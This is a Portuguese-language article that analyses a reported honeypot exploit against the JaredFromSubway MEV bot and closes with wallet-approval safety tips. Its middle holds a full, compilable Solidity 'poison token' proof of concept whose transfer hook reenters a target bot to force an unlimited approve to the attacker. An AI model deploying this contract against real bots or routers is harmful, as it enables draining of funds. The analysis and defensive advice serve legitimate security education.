O caso do JaredFromSubway não foi só mais um hack qualquer em DeFi, mas uma mudança bizarra na "cadeia alimentar" da Ethereum. Por muito tempo, os bots de MEV eram vistos como os predadores alfa do mempool, usando simulações ultra complexas para extrair lucro sem risco nenhum nas costas dos traders de varejo. Só que essa lapada, que custou mais de $15 milhões pros operadores do JaredFromSubway, provou o seguinte: automação sem um isolamento brabo do contexto de execução é pedir para tomar reatravessada.
Abaixo você confere o raio-X técnico detalhado desse exploit, a arquitetura da armadilha (honey pot) e o exemplo de código vulnerável que transformou o bot de trading mais temido do mercado em um doador de liquidez compulsório.
Anatomia da Vulnerabilidade: Onde o algoritmo do Jared moscou?
Os bots clássicos de MEV que fazem sandwich attack usam motores de simulação off-chain (tipo clientes modificados do Geth/Erigon). Antes de mandar o bundle via Flashbots ou Builder API, o bot simula o estado da EVM localmente. Se a simulação acusar lucro líquido em WETH, a sequência de transações é enviada pro bloco.
Os hackers exploraram uma falha ridícula de básica nessa lógica: a execução dinâmica de bytecode não verificado.
O bot do JaredFromSubway otimizava rotas ao extremo para economizar no gás. Para não ter que ficar dropando novos smart contracts a cada trade, ele usava um contrato-roteador permanente com liquidez acumulada e infinite approvals (permissões infinitas) dadas para os pools da Uniswap V2/V3. O bot operava no viés de que tokens ERC-20 de terceiros eram seguros, desde que a matemática de saldo do pool batesse certinho antes e depois do swap.
Os atacantes criaram um token de isca cuja função transfer/transferFrom carregava um payload malicioso oculto. Quando o bot chamou a função swap no pool, o fluxo de execução dentro da EVM caiu direto no código do token golpista. Em vez de só atualizar o saldo no mapping, o token meteu um call de baixo nível de volta para o contrato do bot, forçando o coitado a assinar um approve dos seus ativos mais valiosos (WETH, USDC, USDT) em favor do endereço do hacker. A simulação do bot nem piscou, porque na fase de teste local o saldo de tokens subia, e o dreno da liquidez real só rolava no passo seguinte, que o bot já tinha carimbado como seguro.
Linha do Tempo do Exploit: Passo a Passo
1. Setup da infraestrutura e deploy do token envenenado
Os atacantes fizeram o deploy do contrato do token e montaram o pool de liquidez. Dentro do token, colocaram uma lógica customizada que só era ativada quando o endereço que iniciava a transação era o contrato manjado do JaredFromSubway.
2. Jogando a isca (Baiting)
Os hackers mandaram uma ordem de compra massiva do próprio token via mempool público. Para os algoritmos do bot, aquilo brilhou como a vítima perfeita para um sanduíche: pool com liquidez rasa, slippage alto garantido e um lucro matemático absurdo na compra por frontrun.
3. Sequestro de fluxo (The Hijacking)
O bot pescou a transação, montou o bundle e pagou uma priority fee gorda pro validador para passar na frente de todo mundo.
[Bloco Ethereum] ├── Transação 1 (Frontrun): Bot compra o token falso -> Payload malicioso é ativado -> Chamada forçada de approve() ├── Transação 2 (Vítima): Hacker executa o swap planejado └── Transação 3 (Backrun): Bot tenta despejar o token (a essa altura, já virou pó)
No milissegundo em que a primeira transação rodou dentro do pool, o contrato do token sequestrou o fluxo de execução (Execution Flow). Aproveitando a brecha no roteador do bot, que confiava cegamente nas chamadas dos tokens negociados, o contrato do hacker obrigou o bot a rodar:
asset.approve(attacker_address, type(uint256).max).4. Rapa total via transferFrom
Com a chave da casa na mão para movimentar os fundos principais do bot, os hackers não quiseram nem saber de esperar o bloco fechar. Na mesma jogada (ou logo no bloco seguinte usando bundles atômicos), o contrato malicioso chamou a função
transferFromdireto nos contratos do WETH, USDC e USDT. No total, rodaram mais de $15 milhões de todas as carteiras ligadas ao JaredFromSubway, incluindo uma lapada única de $7.5 milhões.
Análise Comparativa: Sandwich Comum vs Exploit "Jared" Honey Pot
| Parâmetro | Sandwich Clássico (Jared) | Contra-ataque Hacker (Honey Pot) |
|---|---|---|
| Alvo do ataque | Usuário comum (market order) | Bot de MEV (roteador automatizado) |
| Arma principal | Manipulação de preço ordenando transações | Injeção de bytecode malicioso via ERC-20 |
| Vetor de ataque | Slippage alto aceito pelo trader | Falta de isolamento de privilégios (Approvals) no bot |
| Resultado | Bot morde micro-spreads (0.1% a 5%) | Hacker rapa toda a liquidez operacional do bot |
A Arquitetura do "Poison Token" (Exemplo de PoC)
Abaixo está um smart contract em Solidity completo e compilável, mostrando exatamente como um token consegue dar um hijack no fluxo de execução e forçar o contrato chamador a liberar allowances infinitas.
Importante: Este código é disponibilizado apenas para fins educacionais, para dissecar esse vetor de ataque e ajudar os devs a buildarem defesas melhores. Não seja um script kiddie.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
string public name = "HoneyPot MEV Bait";
string public symbol = "BAIT";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public immutable attacker;
address public targetBot;
address public immutable targetAsset; // Por exemplo, o contrato do WETH
bool private inAttack;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _targetAsset) {
attacker = msg.sender;
targetAsset = _targetAsset;
totalSupply = 1000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function setTargetBot(address _bot) external {
require(msg.sender == attacker, "Only attacker can set target");
targetBot = _bot;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "ERC20: insufficient allowance");
allowance[from][msg.sender] = allowed - value;
}
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
// Gatilho do ataque: se a chamada vem do bot ou vai para o bot, e ainda não estamos em reentrancy
if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
inAttack = true;
// Disparamos uma chamada estilo reentrancy direto no contrato do bot.
// Exploramos a falha na lógica do bot, onde ele executa chamadas low-level arbitrárias
// (arbitrary calls) baseadas nos dados passados para ele bem no meio do swap.
// Simulamos uma assinatura forçada de approve de WETH em benefício do atacante.
bytes memory payload = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
type(uint256).max
);
// O bot executa isso às cegas porque o seu router confia nas instruções vindas do contexto da pool
(bool success, ) = targetBot.call(payload);
require(success, "Exploit execution failed");
inAttack = false;
}
}
}Como Proteger Seus Fundos: Lições Indispensáveis para o Usuário Comum
Embora essa guerra tenha acontecido no topo, no estilo "Alien vs. Predador" entre bots de MEV gigantes, os investidores varejo podem tirar lições fundamentais de segurança de wallet aqui. O bot do JaredFromSubway foi completamente de ralo (rekt) por causa de permissões descontroladas (infinite approvals) — um risco ao qual qualquer usuário Web3 se expõe bobeando no dia a dia.
Sempre que você interage com qualquer protocolo DeFi (seja para dar swap na Uniswap, usar um agregador como a 1inch ou farmar em plataformas de lending), sua wallet pede para você assinar duas transações: primeiro o Approve (que dá o direito do contrato mexer nos seus tokens) e depois o Swap ou Deposit em si.
A maioria dos dApps pede, por padrão, acesso infinito aos seus tokens (uint256.max). Isso é feito puramente por UX, para evitar que você pague taxas de gás a cada novo trade para aprovar o token de novo.
O grande problema: se o smart contract do protocolo for dropado por um exploit (como aconteceu com o router do Jared), ou se você assinar sem querer um approve em um site de phishing, o atacante pode triggar a função
transferFromquando bem entender e drenar sua wallet inteira num piscar de olhos, mesmo que os seus tokens estivessem parados na sua wallet de boa.
Checklist: Como Não Ficar Rekt por Approvals Escondidos
Defina limites manuais (Custom Allowance):
Quando o pop-up de
Approvepular na MetaMask ou Rabby Wallet, nunca clique direto em "Máximo". Digite manualmente a quantidade exata de tokens que você vai trocar naquele momento. Se você está girando 100 USDC, a autorização deve ser estritamente de 100 USDC.Revogue suas permissões regularmente:
Crie o hábito de limpar seus approvals ativos uma vez por mano. Use ferramentas confiáveis e conhecidas no mercado, como o Revoke.cash, ou dê um confere direto na aba Token Approvals dentro de block explorers como o Etherscan.
Separe suas wallets por funções:
Deixe o grosso do seu capital seguro em uma hardware wallet (cold wallet) que nunca interaja com smart contracts nem assine nada. Para o seu trading diário, interagir com airdrops ou mintar NFTs, use uma "burner" (hot wallet) com saldo mínimo, que você esteja disposto a perder caso caia em uma pool fraudulenta ou em um exploit de reentrancy.